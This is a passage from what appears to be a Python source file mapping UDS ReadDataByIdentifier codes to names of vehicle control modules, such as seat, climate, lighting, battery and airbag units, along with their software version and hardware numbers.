"Convenience_and_driver_assist_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fb] = "Air_coolant_actuator_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fc] = "Valve_block_4_in_driver_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fd] = "Valve_block_4_in_passenger_side_rear_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64fe] = "Valve_block_4_in_driver_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x64ff] = "Valve_block_4_in_passenger_side_front_seat_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6501] = "Rear_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6502] = "Refrigerant_expansion_valve_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6503] = "Refrigerant_expansion_valve_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6504] = "Refrigerant_expansion_valve_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6505] = "Refrigerant_shut_off_valve_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6506] = "Refrigerant_shut_off_valve_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6507] = "Refrigerant_shut_off_valve_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6508] = "Refrigerant_shut_off_valve_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6509] = "Refrigerant_shut_off_valve_5_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650a] = "Sunlight_sensor_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650b] = "Near_field_communication_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650c] = "Clutch_control_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650d] = "Electrical_charger_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650e] = "Rear_light_left_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x650f] = "Rear_light_right_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6510] = "Rear_light_right_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6511] = "Sunlight_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6512] = "Radiator_shutter_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6513] = "Radiator_shutter_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6514] = "Radiator_shutter_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6515] = "Radiator_shutter_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6518] = "Special_key_operating_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6519] = "Radio_interface_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651a] = "Video_self_protection_recorder_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651b] = "Special_vehicle_assist_interface_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651c] = "Electric_system_disconnection_diode_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651d] = "Cradle_rear_climatronic_operating_and_display_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651e] = "Belt_pretensioner_2nd_row_left_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x651f] = "Belt_pretensioner_2nd_row_right_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6520] = "Electrical_variable_camshaft_phasing_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6521] = "Electrical_variable_camshaft_phasing_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6522] = "Wireless_operating_unit_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6523] = "Wireless_operating_unit_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6524] = "Front_windshield_washer_pump_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6525] = "Air_quality_sensor_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6526] = "Fragrancing_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6527] = "Coolant_valve_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6528] = "Near_field_communication_control_module_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6529] = "Interior_monitoring_rear_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652a] = "Cooler_fan_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652b] = "Control_unit_heating_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652c] = "Control_unit_heating_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652d] = "Control_unit_heating_3_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652e] = "Control_unit_heating_4_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x652f] = "Operating_unit_drive_mode_selection_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6530] = "Side_sensor_a-pillar_driver_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6531] = "Side_sensor_a-pillar_passenger_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6532] = "Sensor_high_voltage_system_1_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6533] = "Side_sensor_b-pillar_driver_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6534] = "Side_sensor_b-pillar_passenger_front_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6535] = "Multi_function_steering_wheel_control_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6536] = "Gear_selection_display_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6537] = "Cooler_fan_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6538] = "Gear_selector_control_module_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6539] = "Interior_light_module_2_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653a] = "Radio_control_center_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653b] = "Multimedia_extension_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653c] = "Control_unit_differential_lock_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653d] = "Control_unit_ride_control_system_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653e] = "Control_unit_hands_on_detection_steering_wheel_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x653f] = "Front_climatronic_operating_and_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6540] = "Auxiliary_display_unit_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6541] = "Card_reader_tv_tuner_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6542] = "Park_lock_actuator_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6543] = "Media_connector_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6544] = "Catalyst_heating_Application_Software_Version_Number" UDS_RDBI.dataIdentifiers[0x6601] = "Control_unit_for_wiper_motor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6602] = "Rain_light_recognition_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6603] = "Light_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6604] = "Garage_door_opener_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6605] = "Garage_door_opener_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6606] = "Ignition_key_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6607] = "Left_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6608] = "Right_front_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6609] = "Left_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660a] = "LED_headlamp_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660b] = "LED_headlamp_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660c] = "LED_headlamp_powermodule_2_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660d] = "LED_headlamp_powermodule_2_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660e] = "Operating_and_display_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x660f] = "Operating_and_display_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6610] = "Right_rear_seat_ventilation_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6611] = "Data_medium_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6612] = "Drivers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6613] = "Front_passengers_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6614] = "Left_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6615] = "Right_headlamp_power_output_stage_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6616] = "Sensor_for_anti_theft_alarm_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6617] = "Rear_lid_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6618] = "Alarm_horn_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6619] = "Automatic_day_night_interior_mirror_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661a] = "Remote_control_auxiliary_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661b] = "Fresh_air_blower_front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661c] = "Fresh_air_blower_back_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661d] = "Alternator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661e] = "Interior_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x661f] = "Refrigerant_pressure_and_temperature_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6620] = "Sun_roof_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6621] = "Steering_column_lock_actuator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6622] = "Anti_theft_tilt_system_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6623] = "Tire_pressure_monitor_antenna_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6624] = "Heated_windshield_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6625] = "Rear_light_left_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6626] = "Ceiling_light_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6627] = "Left_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6628] = "Right_front_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6629] = "Control_module_for_auxiliary_air_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662a] = "Belt Pretensioner left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662b] = "Belt Pretensioner right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662c] = "Occupant Detection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662d] = "Selector_lever_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662e] = "NOx_sensor_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x662f] = "NOx_sensor_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6630] = "Ioniser_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6631] = "Multi_function_steering_wheel_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6632] = "Left_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6633] = "Right_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6634] = "Left_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6635] = "Right_rear_massage_seat_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6636] = "Display_unit_1_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6637] = "Battery_monitoring_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6638] = "Roof_blind_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6639] = "Sun_roof_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663a] = "Steering_angle_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663b] = "Lane_change_assistant 2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663c] = "Pitch_rate_sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663d] = "ESP_sensor_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663e] = "Electronic_ignition_lock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x663f] = "Air_quality_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6640] = "Display_unit_2_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6641] = "Telephone_handset_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6642] = "Chip_card_reader_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6643] = "Traffic_data_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6644] = "Hands_free_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6645] = "Telephone_handset_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6646] = "Display_unit_front_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6647] = "Multimedia_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6648] = "Digital_sound_system_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6649] = "Electrically_adjustable_steering_column_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664a] = "Interface_for_external_multimedia_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664b] = "Relative_Air_Humidity_Interior_Sender_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664c] = "Drivers_door_rear_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664d] = "Passengers_rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664e] = "Sensor_controlled_power_rear_lid_Hardware_Number" UDS_RDBI.dataIdentifiers[0x664f] = "Camera_for_night_vision_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6650] = "Relative_humidity_sensor_in_fresh_air_intake_duct_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6651] = "Rear_spoiler_adjustment_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6652] = "Roof_blind_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6653] = "Motor_for_wind_deflector_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6654] = "Voltage_stabilizer_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6655] = "Switch_module_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6656] = "Switch_module_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6657] = "Switch_module_for_rear_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6658] = "Switch_module_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6659] = "Switch_module_2_for_driver_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665a] = "Battery_charger_unit_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665b] = "Battery_charger_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665c] = "Battery_charger_unit_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665d] = "Air_conditioning_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665e] = "Neck_heating_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x665f] = "Neck_heating_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6660] = "Switch_module_2_for_front_passenger_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6661] = "Switch_module_2_for_rear_seat_front_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6662] = "Compact_disc_database_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6663] = "Rear_climatronic_operating_and_display_unit_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6664] = "Rear_climatronic_operating_and_display_unit_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6665] = "Door_handle_front_left_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6666] = "Door_handle_front_right_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6667] = "Door_handle_rear_left_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6668] = "Door_handle_rear_right_Kessy_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6669] = "Power_converter_DC_AC_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666a] = "Battery_monitoring_control_module_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666b] = "Matrix_headlamp_powermodule_1_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666c] = "Matrix_headlamp_powermodule_1_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666d] = "High_beam_powermodule_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666e] = "High_beam_powermodule_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x666f] = "Air_suspension_compressor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6670] = "Rear_brake_actuator_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6671] = "Rear_brake_actuator_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6672] = "Analog_clock_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6673] = "Rear_door_control_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6679] = "Data_medium_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667a] = "Operating_unit_center_console_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667b] = "Operating_unit_center_console_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667c] = "Operating_unit_center_console_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667d] = "Operating_unit_center_console_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667e] = "Interface_for_radiodisplay_Hardware_Number" UDS_RDBI.dataIdentifiers[0x667f] = "Parkassist_entry_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6686] = "Belt_pretensioner_3rd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6687] = "Belt_pretensioner_3rd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6688] = "Injection_valve_heater_control_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6689] = "Steering_column_switch_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668a] = "Brake_assistance_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668b] = "Trailer_articulation_angle_sensor_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668c] = "Cup_holder_with_heater_and_cooling_element_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668d] = "Range_of_vision_sensing_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668e] = "Convenience_and_driver_assist_operating_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x668f] = "Cradle_rear_climatronic_operating_and_display_unit_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6690] = "Trailer_weight_nose_weight_detection_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6691] = "Sensor_carbon_dioxide_concentration_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6692] = "Sensor_fine_dust_concentration_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6693] = "Volume_control_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6694] = "Belt_buckle_presenter_2nd_row_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6695] = "Belt_buckle_presenter_2nd_row_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6696] = "Operating_and_display_unit_6_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6697] = "Active_accelerator_pedal_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6698] = "Multimedia_operating_unit_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x6699] = "Display_unit_3_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669a] = "Display_unit_4_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669b] = "Display_unit_5_for_multimedia_system_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669c] = "Control_module_for_auxiliary_blower_motors_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669d] = "Operating_and_display_unit_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669e] = "Operating_and_display_unit_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x669f] = "Operating_and_display_unit_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a0] = "Side Sensor Driver Front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a1] = "Side Sensor Passenger Front_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a2] = "Side Sensor Driver Rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a3] = "Side Sensor Passenger Rear_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a4] = "Front Sensor Driver_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a5] = "Front Sensor Passenger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a6] = "Pedestrian Protection Driver_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a7] = "Pedestrian Protection Passenger_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a8] = "Rear Sensor Center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66a9] = "Pedestrian Protection Center_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66aa] = "Pedestrian Protection Contact_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ab] = "Pedestrian_protection_driver_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ac] = "Pedestrian_protection_passenger_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ad] = "Central_sensor_XY_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ae] = "Refrigerant_pressure_and_temperature_sender_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66af] = "Refrigerant_pressure_and_temperature_sender_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b0] = "Switch_for_rear_multicontour_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b1] = "Valve_block_1_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b2] = "Valve_block_2_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b3] = "Valve_block_3_in_driver_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b4] = "Switch_for_rear_multicontour_seat_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b5] = "Valve_block_1_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b6] = "Valve_block_2_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b7] = "Valve_block_3_in_passenger_side_rear_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b8] = "Switch_for_front_multicontour_seat_driver_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66b9] = "Valve_block_1_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ba] = "Valve_block_2_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bb] = "Valve_block_3_in_driver_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bc] = "Switch_for_front_multicontour_seat_passenger_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bd] = "Valve_block_1_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66be] = "Valve_block_2_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66bf] = "Valve_block_3_in_passenger_side_front_seat_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c0] = "Coolant_heater_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c1] = "Seat_backrest_fan_1_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c2] = "Seat_backrest_fan_2_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c3] = "Seat_cushion_fan_1_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c4] = "Seat_cushion_fan_2_front_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c5] = "Seat_backrest_fan_1_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c6] = "Seat_backrest_fan_2_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c7] = "Seat_cushion_fan_1_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c8] = "Seat_cushion_fan_2_front_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66c9] = "Operating_and_display_unit_1_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ca] = "Operating_and_display_unit_2_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cb] = "Operating_and_display_unit_3_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cc] = "Operating_and_display_unit_4_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cd] = "Operating_and_display_unit_5_for_air_conditioning_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ce] = "Pedestrian_protection_left_hand_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66cf] = "Pedestrian_protection_right_hand_side_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d0] = "Battery_junction_box_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d1] = "Cell_module_controller_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d2] = "Cell_module_controller_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d3] = "Cell_module_controller_3_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d4] = "Cell_module_controller_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d5] = "Cell_module_controller_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d6] = "Cell_module_controller_6_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d7] = "Cell_module_controller_7_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d8] = "Cell_module_controller_8_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66d9] = "Cell_module_controller_9_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66da] = "Cell_module_controller_10_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66db] = "Cell_module_controller_11_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66dc] = "Cell_module_controller_12_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66dd] = "Seat_backrest_fan_1_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66de] = "Seat_backrest_fan_2_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66df] = "Seat_cushion_fan_1_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e0] = "Seat_cushion_fan_2_rear_left_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e1] = "Seat_backrest_fan_1_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e2] = "Seat_backrest_fan_2_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e3] = "Seat_cushion_fan_1_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e4] = "Seat_cushion_fan_2_rear_right_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e5] = "Auxiliary_blower_motor_control_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e6] = "Auxiliary_blower_motor_control_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e7] = "Infrared_sender_for_front_observation_module_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e8] = "Starter_generator_control_module_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66e9] = "Media_player_1_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ea] = "Media_player_2_sub_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66eb] = "Dedicated_short_range_communication_aerial_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ec] = "Refrigerant_pressure_and_temperature_sender_4_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ed] = "Refrigerant_pressure_and_temperature_sender_5_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ee] = "Refrigerant_pressure_and_temperature_sender_6_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66ef] = "Air_coolant_actuator_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f0] = "Air_coolant_actuator_2_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f1] = "Cell_module_controller_13_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f2] = "Cell_module_controller_14_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f3] = "Cell_module_controller_15_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f5] = "Seat_heating_rear_1_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f6] = "LED_warning_indicator_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f7] = "Automatic_transmission_fluid_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f8] = "Manual_transmission_fluid_pump_Hardware_Number" UDS_RDBI.dataIdentifiers[0x66f9] = 